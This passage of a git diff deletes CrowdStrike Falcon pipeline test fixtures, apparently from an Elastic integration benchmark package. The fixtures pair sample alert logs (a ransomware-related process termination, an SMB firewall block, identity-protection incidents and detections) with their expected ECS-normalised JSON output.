-                    "md5": "ac4c51eb24aa95b77f705ab159189e24",
-                    "sha256": "6a671b92a69755de6fd063fcbe4ba926d83b49f78c42dbaeed8cdb6bbc57576a"
-                },
-                "name": "explorer.exe",
-                "path": "\\Device\\HarddiskVolume1\\Windows"
-            },
-            "host": {
-                "domain": "CORP-DOMAIN",
-                "name": "alice-laptop"
-            },
-            "message": "Terminated a process related to the deletion of backups, which is often indicative of ransomware activity.",
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "process": {
-                "args": [
-                    "C:\\Windows\\Explorer.EXE"
-                ],
-                "command_line": "C:\\Windows\\Explorer.EXE",
-                "entity_id": "38684386611",
-                "executable": "C:\\Windows\\Explorer.EXE",
-                "name": "explorer.exe",
-                "parent": {
-                    "entity_id": "38682494050",
-                    "pid": 38682494050
-                },
-                "pid": 38684386611,
-                "start": "2018-09-13T13:45:39.000Z"
-            },
-            "related": {
-                "hash": [
-                    "6a671b92a69755de6fd063fcbe4ba926d83b49f78c42dbaeed8cdb6bbc57576a",
-                    "ac4c51eb24aa95b77f705ab159189e24"
-                ],
-                "hosts": [
-                    "alice-laptop"
-                ],
-                "ip": [
-                    "192.168.12.51"
-                ],
-                "user": [
-                    "alice"
-                ]
-            },
-            "rule": {
-                "description": "Terminated a process related to the deletion of backups, which is often indicative of ransomware activity.",
-                "id": "ldt:ec86abd353824e96765ecbe18eb4f0b4:38655257584",
-                "name": "Process Terminated"
-            },
-            "source": {
-                "ip": "192.168.12.51"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "threat": {
-                "framework": "MITRE ATT&CK",
-                "tactic": {
-                    "id": [
-                        "CSTA0009",
-                        "TA0010"
-                    ],
-                    "name": [
-                        "Malware",
-                        "Insecure security posture",
-                        "Exfiltration"
-                    ]
-                },
-                "technique": {
-                    "id": [
-                        "CST0024",
-                        "T1567"
-                    ],
-                    "name": [
-                        "Ransomware",
-                        "Bad device settings",
-                        "Exfiltration Over Web Service"
-                    ]
-                }
-            },
-            "user": {
-                "name": "alice"
-            }
-        }
-    ]
-}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-firewall.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-firewall.log
deleted file mode 100644
index 8c7d2c1ba2..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-firewall.log
+++ /dev/null
@@ -1,46 +0,0 @@
-{
-    "metadata": {
-        "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p",
-        "offset": 70689,
-        "eventType": "FirewallMatchEvent",
-        "eventCreationTime": 1595248906000,
-        "version": "1.0"
-    },
-    "event": {
-        "DeviceId": "12345a1bc2d34fghi56jk7890lmno12p",
-        "CustomerId": "12345a1bc2d34fghi56jk7890lmno12p",
-        "Ipv": "ipv4",
-        "CommandLine": "nginx",
-        "ConnectionDirection": "1",
-        "EventType": "FirewallRuleIP4Matched",
-        "Flags": {
-            "Audit": false,
-            "Log": false,
-            "Monitor": true
-        },
-        "HostName": "TESTDEVICE01",
-        "ICMPCode": "",
-        "ICMPType": "",
-        "ImageFileName": "/usr/bin/nginx",
-        "LocalAddress": "10.10.10.10",
-        "LocalPort": "445",
-        "MatchCount": 1,
-        "MatchCountSinceLastReport": 1,
-        "NetworkProfile": "2",
-        "PID": "206158879910",
-        "PolicyName": "PROD-FW-TESTSTATION-General",
-        "PolicyID": "12345a1bc2d34fghi56jk7890lmno12p",
-        "Protocol": "6",
-        "RemoteAddress": "216.160.83.56",
-        "RemotePort": "54952",
-        "RuleAction": "2",
-        "RuleDescription": "",
-        "RuleFamilyID": "fec73e96a1bf4481be582c3f89b234fa",
-        "RuleGroupName": "SMB Rules",
-        "RuleName": "Inbound SMB Block \u0026 Log Private",
-        "RuleId": "4877172638743447345",
-        "Status": "",
-        "Timestamp": "2020-07-20T12:41:44Z",
-        "TreeID": "158446832506666"
-    }
-}
\ No newline at end of file
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-firewall.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-firewall.log-expected.json
deleted file mode 100644
index 77ad99a7c3..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-firewall.log-expected.json
+++ /dev/null
@@ -1,118 +0,0 @@
-{
-    "expected": [
-        {
-            "@timestamp": "2020-07-20T12:41:46.000Z",
-            "crowdstrike": {
-                "event": {
-                    "CustomerId": "12345a1bc2d34fghi56jk7890lmno12p",
-                    "DeviceId": "12345a1bc2d34fghi56jk7890lmno12p",
-                    "Flags": {
-                        "Audit": false,
-                        "Log": false,
-                        "Monitor": true
-                    },
-                    "MatchCount": 1,
-                    "MatchCountSinceLastReport": 1,
-                    "NetworkProfile": "2",
-                    "PolicyID": "12345a1bc2d34fghi56jk7890lmno12p",
-                    "PolicyName": "PROD-FW-TESTSTATION-General",
-                    "Protocol": "6",
-                    "RuleAction": "2",
-                    "Timestamp": "2020-07-20T12:41:44Z",
-                    "TreeID": "158446832506666"
-                },
-                "metadata": {
-                    "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p",
-                    "eventType": "FirewallMatchEvent",
-                    "offset": 70689,
-                    "version": "1.0"
-                }
-            },
-            "destination": {
-                "ip": "10.10.10.10",
-                "port": 445
-            },
-            "device": {
-                "id": "12345a1bc2d34fghi56jk7890lmno12p"
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": [
-                    "firewall_match_event"
-                ],
-                "category": [
-                    "network"
-                ],
-                "code": "FirewallRuleIP4Matched",
-                "created": "2020-07-20T12:41:46.000Z",
-                "kind": "event",
-                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"12345a1bc2d34fghi56jk7890lmno12p\",\n        \"offset\": 70689,\n        \"eventType\": \"FirewallMatchEvent\",\n        \"eventCreationTime\": 1595248906000,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"DeviceId\": \"12345a1bc2d34fghi56jk7890lmno12p\",\n        \"CustomerId\": \"12345a1bc2d34fghi56jk7890lmno12p\",\n        \"Ipv\": \"ipv4\",\n        \"CommandLine\": \"nginx\",\n        \"ConnectionDirection\": \"1\",\n        \"EventType\": \"FirewallRuleIP4Matched\",\n        \"Flags\": {\n            \"Audit\": false,\n            \"Log\": false,\n            \"Monitor\": true\n        },\n        \"HostName\": \"TESTDEVICE01\",\n        \"ICMPCode\": \"\",\n        \"ICMPType\": \"\",\n        \"ImageFileName\": \"/usr/bin/nginx\",\n        \"LocalAddress\": \"10.10.10.10\",\n        \"LocalPort\": \"445\",\n        \"MatchCount\": 1,\n        \"MatchCountSinceLastReport\": 1,\n        \"NetworkProfile\": \"2\",\n        \"PID\": \"206158879910\",\n        \"PolicyName\": \"PROD-FW-TESTSTATION-General\",\n        \"PolicyID\": \"12345a1bc2d34fghi56jk7890lmno12p\",\n        \"Protocol\": \"6\",\n        \"RemoteAddress\": \"216.160.83.56\",\n        \"RemotePort\": \"54952\",\n        \"RuleAction\": \"2\",\n        \"RuleDescription\": \"\",\n        \"RuleFamilyID\": \"fec73e96a1bf4481be582c3f89b234fa\",\n        \"RuleGroupName\": \"SMB Rules\",\n        \"RuleName\": \"Inbound SMB Block \\u0026 Log Private\",\n        \"RuleId\": \"4877172638743447345\",\n        \"Status\": \"\",\n        \"Timestamp\": \"2020-07-20T12:41:44Z\",\n        \"TreeID\": \"158446832506666\"\n    }\n}",
-                "type": [
-                    "start",
-                    "connection",
-                    "denied"
-                ]
-            },
-            "host": {
-                "name": "TESTDEVICE01"
-            },
-            "message": "Firewall Rule: 'Inbound SMB Block & Log Private' triggered - Action: 'Blocked'",
-            "network": {
-                "direction": "ingress",
-                "type": "ipv4"
-            },
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "process": {
-                "args": [
-                    "nginx"
-                ],
-                "command_line": "nginx",
-                "entity_id": "206158879910",
-                "executable": "/usr/bin/nginx",
-                "pid": 206158879910
-            },
-            "related": {
-                "hosts": [
-                    "TESTDEVICE01"
-                ],
-                "ip": [
-                    "216.160.83.56",
-                    "10.10.10.10"
-                ]
-            },
-            "rule": {
-                "category": "fec73e96a1bf4481be582c3f89b234fa",
-                "id": "4877172638743447345",
-                "name": "Inbound SMB Block & Log Private",
-                "ruleset": "SMB Rules"
-            },
-            "source": {
-                "as": {
-                    "number": 209
-                },
-                "geo": {
-                    "city_name": "Milton",
-                    "continent_name": "North America",
-                    "country_iso_code": "US",
-                    "country_name": "United States",
-                    "location": {
-                        "lat": 47.2513,
-                        "lon": -122.3149
-                    },
-                    "region_iso_code": "US-WA",
-                    "region_name": "Washington"
-                },
-                "ip": "216.160.83.56",
-                "port": 54952
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        }
-    ]
-}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-identity-protection-incident.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-identity-protection-incident.log
deleted file mode 100644
index 8c51652f04..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-identity-protection-incident.log
+++ /dev/null
@@ -1,26 +0,0 @@
-{
-    "metadata": {
-        "customerIDString": "3426316453426234",
-        "offset": 2664264,
-        "eventType": "IdentityProtectionEvent",
-        "eventCreationTime": 1686891836581,
-        "version": "1.0"
-    },
-    "event": {
-        "IncidentType": "UNUSUAL_ENDPOINT_USE",
-        "IncidentDescription": "User seen coming from a location that deviates from their baseline.",
-        "Severity": 1,
-        "SeverityName": "INFO",
-        "StartTime": 1686891836383,
-        "EndTime": 1686891836553,
-        "IdentityProtectionIncidentId": "INC-123",
-        "UserName": "TESTUSER",
-        "EndpointName": "TESTHOSTNAME",
-        "EndpointIp": "89.160.20.112",
-        "Category": "Incidents",
-        "NumbersOfAlerts": 1,
-        "NumberOfCompromisedEntities": 1,
-        "State": "NEW",
-        "FalconHostLink": "https://falcon.crowdstrike.com/identity-protection/incidents/INC-123"
-    }
-}
\ No newline at end of file
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-identity-protection-incident.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-identity-protection-incident.log-expected.json
deleted file mode 100644
index 286f1e441e..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-identity-protection-incident.log-expected.json
+++ /dev/null
@@ -1,65 +0,0 @@
-{
-    "expected": [
-        {
-            "@timestamp": "2023-06-16T05:03:56.383Z",
-            "crowdstrike": {
-                "event": {
-                    "Category": "Incidents",
-                    "NumberOfCompromisedEntities": 1,
-                    "NumbersOfAlerts": 1,
-                    "Severity": 1,
-                    "SeverityName": "INFO",
-                    "State": "NEW"
-                },
-                "metadata": {
-                    "customerIDString": "3426316453426234",
-                    "eventType": "IdentityProtectionEvent",
-                    "offset": 2664264,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": "UNUSUAL_ENDPOINT_USE",
-                "category": [
-                    "iam"
-                ],
-                "created": "2023-06-16T05:03:56.581Z",
-                "end": "2023-06-16T05:03:56.553Z",
-                "id": "INC-123",
-                "kind": "event",
-                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"3426316453426234\",\n        \"offset\": 2664264,\n        \"eventType\": \"IdentityProtectionEvent\",\n        \"eventCreationTime\": 1686891836581,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"IncidentType\": \"UNUSUAL_ENDPOINT_USE\",\n        \"IncidentDescription\": \"User seen coming from a location that deviates from their baseline.\",\n        \"Severity\": 1,\n        \"SeverityName\": \"INFO\",\n        \"StartTime\": 1686891836383,\n        \"EndTime\": 1686891836553,\n        \"IdentityProtectionIncidentId\": \"INC-123\",\n        \"UserName\": \"TESTUSER\",\n        \"EndpointName\": \"TESTHOSTNAME\",\n        \"EndpointIp\": \"89.160.20.112\",\n        \"Category\": \"Incidents\",\n        \"NumbersOfAlerts\": 1,\n        \"NumberOfCompromisedEntities\": 1,\n        \"State\": \"NEW\",\n        \"FalconHostLink\": \"https://falcon.crowdstrike.com/identity-protection/incidents/INC-123\"\n    }\n}",
-                "reference": "https://falcon.crowdstrike.com/identity-protection/incidents/INC-123",
-                "severity": 21,
-                "start": "2023-06-16T05:03:56.383Z",
-                "type": [
-                    "info"
-                ]
-            },
-            "host": {
-                "hostname": "TESTHOSTNAME",
-                "ip": [
-                    "89.160.20.112"
-                ]
-            },
-            "message": "User seen coming from a location that deviates from their baseline.",
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "related": {
-                "user": [
-                    "TESTUSER"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "name": "TESTUSER"
-            }
-        }
-    ]
-}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-incident-summary.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-incident-summary.log
deleted file mode 100644
index 0babda0a98..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-incident-summary.log
+++ /dev/null
@@ -1,25 +0,0 @@
-{
-    "metadata": {
-        "customerIDString": "123123abcd",
-        "offset": 2,
-        "eventType": "IncidentSummaryEvent",
-        "eventCreationTime": 1686845212400,
-        "version": "1.0"
-    },
-    "event": {
-        "IncidentStartTime": 1685844891,
-        "IncidentEndTime": 1685844892,
-        "FalconHostLink": "https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:123:abc?_cid=CID",
-        "State": "open",
-        "FineScore": 0.5,
-        "LateralMovement": 0,
-        "IncidentType": 1,
-        "IncidentID": "inc:123:abc",
-        "HostID": "TESTHOSTID",
-        "LMHostIDs": [
-            "TESTHOSTID1",
-            "TESTHOSTID2"
-        ],
-        "UserId": "first.last@company.com"
-    }
-}
\ No newline at end of file
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-incident-summary.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-incident-summary.log-expected.json
deleted file mode 100644
index 6f665874ac..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-incident-summary.log-expected.json
+++ /dev/null
@@ -1,67 +0,0 @@
-{
-    "expected": [
-        {
-            "@timestamp": "2023-06-15T16:06:52.400Z",
-            "crowdstrike": {
-                "event": {
-                    "FineScore": 0.5,
-                    "IncidentType": "1",
-                    "LMHostIDs": [
-                        "TESTHOSTID1",
-                        "TESTHOSTID2"
-                    ],
-                    "State": "open"
-                },
-                "metadata": {
-                    "customerIDString": "123123abcd",
-                    "eventType": "IncidentSummaryEvent",
-                    "offset": 2,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": [
-                    "incident"
-                ],
-                "category": [
-                    "malware"
-                ],
-                "created": "2023-06-15T16:06:52.400Z",
-                "end": "2023-06-04T02:14:52.000Z",
-                "id": "inc:123:abc",
-                "kind": "alert",
-                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"123123abcd\",\n        \"offset\": 2,\n        \"eventType\": \"IncidentSummaryEvent\",\n        \"eventCreationTime\": 1686845212400,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"IncidentStartTime\": 1685844891,\n        \"IncidentEndTime\": 1685844892,\n        \"FalconHostLink\": \"https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:123:abc?_cid=CID\",\n        \"State\": \"open\",\n        \"FineScore\": 0.5,\n        \"LateralMovement\": 0,\n        \"IncidentType\": 1,\n        \"IncidentID\": \"inc:123:abc\",\n        \"HostID\": \"TESTHOSTID\",\n        \"LMHostIDs\": [\n            \"TESTHOSTID1\",\n            \"TESTHOSTID2\"\n        ],\n        \"UserId\": \"first.last@company.com\"\n    }\n}",
-                "reference": "https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:123:abc?_cid=CID",
-                "start": "2023-06-04T02:14:51.000Z",
-                "type": [
-                    "info"
-                ]
-            },
-            "host": {
-                "id": "TESTHOSTID"
-            },
-            "message": "Incident score 0.5",
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "related": {
-                "user": [
-                    "first.last",
-                    "first.last@company.com"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "domain": "company.com",
-                "email": "first.last@company.com",
-                "name": "first.last"
-            }
-        }
-    ]
-}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-ipd-summary.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-ipd-summary.log
deleted file mode 100644
index 50ca9b4e77..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-ipd-summary.log
+++ /dev/null
@@ -1,75 +0,0 @@
-{
-	"metadata": {
-		"customerIDString": "12312312312312321",
-		"offset": 2662765,
-		"eventType": "IdpDetectionSummaryEvent",
-		"eventCreationTime": 1686848064000,
-		"version": "1.0"
-	},
-	"event": {
-		"ContextTimeStamp": 133221234560000000,
-		"DetectId": "12345678901234567890123456789012:ind:12345678901234567890123456789012:12345678-1234-1234-1234-123456789000",
-		"DetectName": "Unusual login to an endpoint",
-		"DetectDescription": "A user logged in to a machine for the first time",
-		"FalconHostLink": "https://falcon.crowdstrike.com/identity-protection/detections/12345678901234567890123456789012:ind:12345678901234567890123456789012:12345678-1234-1234-1234-123456789000?cid=12345678901234567890123456789012",
-		"StartTime": 123456789000000000,
-		"EndTime": 123456789000000000,
-		"Severity": 7,
-		"Tactic": "Initial Access",
-		"Technique": "Valid Accounts",
-		"Objective": "Gain Access",
-		"SourceAccountDomain": "DOMAIN.COM",
-		"SourceAccountName": "johnb",
-		"SourceAccountObjectSid": "S-1-3-44-55555555-666666666-7777777777-88888",
-		"SourceEndpointAccountObjectGuid": "12345678-1234-1234-1234-123456789000",
-		"SourceEndpointAccountObjectSid": "S-1-3-44-55555555-666666666-7777777777-88888",
-		"SourceEndpointHostName": "pc01.domain.com",
-		"SourceEndpointIpAddress": "81.2.69.144",
-		"SourceEndpointSensorId": "12345678901234567890123456789012",
-		"PrecedingActivityTimeStamp": 133154452345780000,
-		"MostRecentActivityTimeStamp": 133313215755670000,
-		"ActivityId": "12345678-1234-1234-1234-123456789000",
-		"PatternId": 51135
-	}
-}
-{
-	"metadata": {
-		"customerIDString": "12312312312312321",
-		"offset": 2662765,
-		"eventType": "IdpDetectionSummaryEvent",
-		"eventCreationTime": 1686848064000,
-		"version": "1.0"
-	},
-	"event": {
-		"ContextTimeStamp": 133221234560000000,
-		"DetectId": "12345678901234567890123456789012:ind:12345678901234567890123456789012:12345678-1234-1234-1234-123456789000",
-		"DetectName": "Unusual login to an endpoint",
-		"DetectDescription": "A user logged in to a machine for the first time",
-		"FalconHostLink": "https://falcon.crowdstrike.com/identity-protection/detections/12345678901234567890123456789012:ind:12345678901234567890123456789012:12345678-1234-1234-1234-123456789000?cid=12345678901234567890123456789012",
-		"StartTime": 123456789000000000,
-		"EndTime": 123456789000000000,
-		"Severity": 7,
-		"Tactic": "Initial Access",
-		"Technique": "Valid Accounts",
-		"Objective": "Gain Access",
-		"SourceAccountDomain": "DOMAIN.COM",
-		"SourceAccountName": "johnb",
-		"SourceAccountObjectSid": "S-1-3-44-55555555-666666666-7777777777-88888",
-		"SourceEndpointAccountObjectGuid": "12345678-1234-1234-1234-123456789000",
-		"SourceEndpointAccountObjectSid": "S-1-3-44-55555555-666666666-7777777777-88888",
-		"SourceEndpointHostName": "pc01.domain.com",
-		"SourceEndpointIpAddress": "81.2.69.144",
-		"SourceEndpointSensorId": "12345678901234567890123456789012",
-		"PrecedingActivityTimeStamp": 133154452345780000,
-		"MostRecentActivityTimeStamp": 133313215755670000,
-		"ActivityId": "12345678-1234-1234-1234-123456789000",
-		"PatternId": 51135,
-		"MitreAttack": [
-			{
-				"Tactic": "Initial Access",
-				"Technique": "Valid Accounts",
-				"PatternID": 51135
-			}
-		]
-	}
-}
\ No newline at end of file
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-ipd-summary.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-ipd-summary.log-expected.json
deleted file mode 100644
index e2d1d49c31..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-ipd-summary.log-expected.json
+++ /dev/null
@@ -1,181 +0,0 @@
-{
-    "expected": [
-        {
-            "@timestamp": "2023-06-15T16:54:24.000Z",
-            "crowdstrike": {
-                "event": {
-                    "ActivityId": "12345678-1234-1234-1234-123456789000",
-                    "MostRecentActivityTimeStamp": 1686847975567,
-                    "Objective": "Gain Access",
-                    "PatternId": "51135",
-                    "PrecedingActivityTimeStamp": 1670971634578,
-                    "Severity": 7,
-                    "SourceEndpointAccountObjectGuid": "12345678-1234-1234-1234-123456789000",
-                    "SourceEndpointAccountObjectSid": "S-1-3-44-55555555-666666666-7777777777-88888",
-                    "SourceEndpointSensorId": "12345678901234567890123456789012"
-                },
-                "metadata": {
-                    "customerIDString": "12312312312312321",
-                    "eventType": "IdpDetectionSummaryEvent",
-                    "offset": 2662765,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": "ipd-detection",
-                "category": [
-                    "malware"
-                ],
-                "created": "2023-03-01T05:50:56.000Z",
-                "end": "1992-03-21T19:15:00.000Z",
-                "kind": "alert",
-                "original": "{\n\t\"metadata\": {\n\t\t\"customerIDString\": \"12312312312312321\",\n\t\t\"offset\": 2662765,\n\t\t\"eventType\": \"IdpDetectionSummaryEvent\",\n\t\t\"eventCreationTime\": 1686848064000,\n\t\t\"version\": \"1.0\"\n\t},\n\t\"event\": {\n\t\t\"ContextTimeStamp\": 133221234560000000,\n\t\t\"DetectId\": \"12345678901234567890123456789012:ind:12345678901234567890123456789012:12345678-1234-1234-1234-123456789000\",\n\t\t\"DetectName\": \"Unusual login to an endpoint\",\n\t\t\"DetectDescription\": \"A user logged in to a machine for the first time\",\n\t\t\"FalconHostLink\": \"https://falcon.crowdstrike.com/identity-protection/detections/12345678901234567890123456789012:ind:12345678901234567890123456789012:12345678-1234-1234-1234-123456789000?cid=12345678901234567890123456789012\",\n\t\t\"StartTime\": 123456789000000000,\n\t\t\"EndTime\": 123456789000000000,\n\t\t\"Severity\": 7,\n\t\t\"Tactic\": \"Initial Access\",\n\t\t\"Technique\": \"Valid Accounts\",\n\t\t\"Objective\": \"Gain Access\",\n\t\t\"SourceAccountDomain\": \"DOMAIN.COM\",\n\t\t\"SourceAccountName\": \"johnb\",\n\t\t\"SourceAccountObjectSid\": \"S-1-3-44-55555555-666666666-7777777777-88888\",\n\t\t\"SourceEndpointAccountObjectGuid\": \"12345678-1234-1234-1234-123456789000\",\n\t\t\"SourceEndpointAccountObjectSid\": \"S-1-3-44-55555555-666666666-7777777777-88888\",\n\t\t\"SourceEndpointHostName\": \"pc01.domain.com\",\n\t\t\"SourceEndpointIpAddress\": \"81.2.69.144\",\n\t\t\"SourceEndpointSensorId\": \"12345678901234567890123456789012\",\n\t\t\"PrecedingActivityTimeStamp\": 133154452345780000,\n\t\t\"MostRecentActivityTimeStamp\": 133313215755670000,\n\t\t\"ActivityId\": \"12345678-1234-1234-1234-123456789000\",\n\t\t\"PatternId\": 51135\n\t}\n}",
-                "reference": "https://falcon.crowdstrike.com/identity-protection/detections/12345678901234567890123456789012:ind:12345678901234567890123456789012:12345678-1234-1234-1234-123456789000?cid=12345678901234567890123456789012",
-                "start": "1992-03-21T19:15:00.000Z",
-                "type": [
-                    "info"
-                ]
-            },
-            "host": {
-                "ip": [
-                    "81.2.69.144"
-                ],
-                "name": "pc01.domain.com"
-            },
-            "message": "A user logged in to a machine for the first time",
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "related": {
-                "hosts": [
-                    "pc01.domain.com"
-                ],
-                "user": [
-                    "johnb"
-                ]
-            },
-            "rule": {
-                "description": "A user logged in to a machine for the first time",
-                "id": "12345678901234567890123456789012:ind:12345678901234567890123456789012:12345678-1234-1234-1234-123456789000",
-                "name": "Unusual login to an endpoint",
-                "uuid": "51135"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "threat": {
-                "tactic": {
-                    "name": [
-                        "Initial Access"
-                    ]
-                },
-                "technique": {
-                    "name": [
-                        "Valid Accounts"
-                    ]
-                }
-            },
-            "user": {
-                "domain": "DOMAIN.COM",
-                "id": "S-1-3-44-55555555-666666666-7777777777-88888",
-                "name": "johnb"
-            }
-        },
-        {
-            "@timestamp": "2023-06-15T16:54:24.000Z",
-            "crowdstrike": {
-                "event": {
-                    "ActivityId": "12345678-1234-1234-1234-123456789000",
-                    "MitreAttack": [
-                        {
-                            "PatternID": "51135",
-                            "Tactic": "Initial Access",
-                            "Technique": "Valid Accounts"
-                        }
-                    ],
-                    "MostRecentActivityTimeStamp": 1686847975567,
-                    "Objective": "Gain Access",
-                    "PatternId": "51135",
-                    "PrecedingActivityTimeStamp": 1670971634578,
-                    "Severity": 7,
-                    "SourceEndpointAccountObjectGuid": "12345678-1234-1234-1234-123456789000",
-                    "SourceEndpointAccountObjectSid": "S-1-3-44-55555555-666666666-7777777777-88888",
-                    "SourceEndpointSensorId": "12345678901234567890123456789012"
-                },
-                "metadata": {
-                    "customerIDString": "12312312312312321",
-                    "eventType": "IdpDetectionSummaryEvent",
-                    "offset": 2662765,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": "ipd-detection",
-                "category": [
-                    "malware"
-                ],
-                "created": "2023-03-01T05:50:56.000Z",
-                "end": "1992-03-21T19:15:00.000Z",
-                "kind": "alert",
-                "original": "{\n\t\"metadata\": {\n\t\t\"customerIDString\": \"12312312312312321\",\n\t\t\"offset\": 2662765,\n\t\t\"eventType\": \"IdpDetectionSummaryEvent\",\n\t\t\"eventCreationTime\": 1686848064000,\n\t\t\"version\": \"1.0\"\n\t},\n\t\"event\": {\n\t\t\"ContextTimeStamp\": 133221234560000000,\n\t\t\"DetectId\": \"12345678901234567890123456789012:ind:12345678901234567890123456789012:12345678-1234-1234-1234-123456789000\",\n\t\t\"DetectName\": \"Unusual login to an endpoint\",\n\t\t\"DetectDescription\": \"A user logged in to a machine for the first time\",\n\t\t\"FalconHostLink\": \"https://falcon.crowdstrike.com/identity-protection/detections/12345678901234567890123456789012:ind:12345678901234567890123456789012:12345678-1234-1234-1234-123456789000?cid=12345678901234567890123456789012\",\n\t\t\"StartTime\": 123456789000000000,\n\t\t\"EndTime\": 123456789000000000,\n\t\t\"Severity\": 7,\n\t\t\"Tactic\": \"Initial Access\",\n\t\t\"Technique\": \"Valid Accounts\",\n\t\t\"Objective\": \"Gain Access\",\n\t\t\"SourceAccountDomain\": \"DOMAIN.COM\",\n\t\t\"SourceAccountName\": \"johnb\",\n\t\t\"SourceAccountObjectSid\": \"S-1-3-44-55555555-666666666-7777777777-88888\",\n\t\t\"SourceEndpointAccountObjectGuid\": \"12345678-1234-1234-1234-123456789000\",\n\t\t\"SourceEndpointAccountObjectSid\": \"S-1-3-44-55555555-666666666-7777777777-88888\",\n\t\t\"SourceEndpointHostName\": \"pc01.domain.com\",\n\t\t\"SourceEndpointIpAddress\": \"81.2.69.144\",\n\t\t\"SourceEndpointSensorId\": \"12345678901234567890123456789012\",\n\t\t\"PrecedingActivityTimeStamp\": 133154452345780000,\n\t\t\"MostRecentActivityTimeStamp\": 133313215755670000,\n\t\t\"ActivityId\": \"12345678-1234-1234-1234-123456789000\",\n\t\t\"PatternId\": 51135,\n\t\t\"MitreAttack\": [\n\t\t\t{\n\t\t\t\t\"Tactic\": \"Initial Access\",\n\t\t\t\t\"Technique\": \"Valid Accounts\",\n\t\t\t\t\"PatternID\": 51135\n\t\t\t}\n\t\t]\n\t}\n}",
-                "reference": "https://falcon.crowdstrike.com/identity-protection/detections/12345678901234567890123456789012:ind:12345678901234567890123456789012:12345678-1234-1234-1234-123456789000?cid=12345678901234567890123456789012",
-                "start": "1992-03-21T19:15:00.000Z",
-                "type": [
-                    "info"
-                ]
-            },
-            "host": {
-                "ip": [
-                    "81.2.69.144"
-                ],
-                "name": "pc01.domain.com"
-            },
-            "message": "A user logged in to a machine for the first time",
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "related": {
-                "hosts": [
-                    "pc01.domain.com"
-                ],
-                "user": [
-                    "johnb"
-                ]
-            },
-            "rule": {
-                "description": "A user logged in to a machine for the first time",
-                "id": "12345678901234567890123456789012:ind:12345678901234567890123456789012:12345678-1234-1234-1234-123456789000",
-                "name": "Unusual login to an endpoint",
-                "uuid": "51135"
-            },
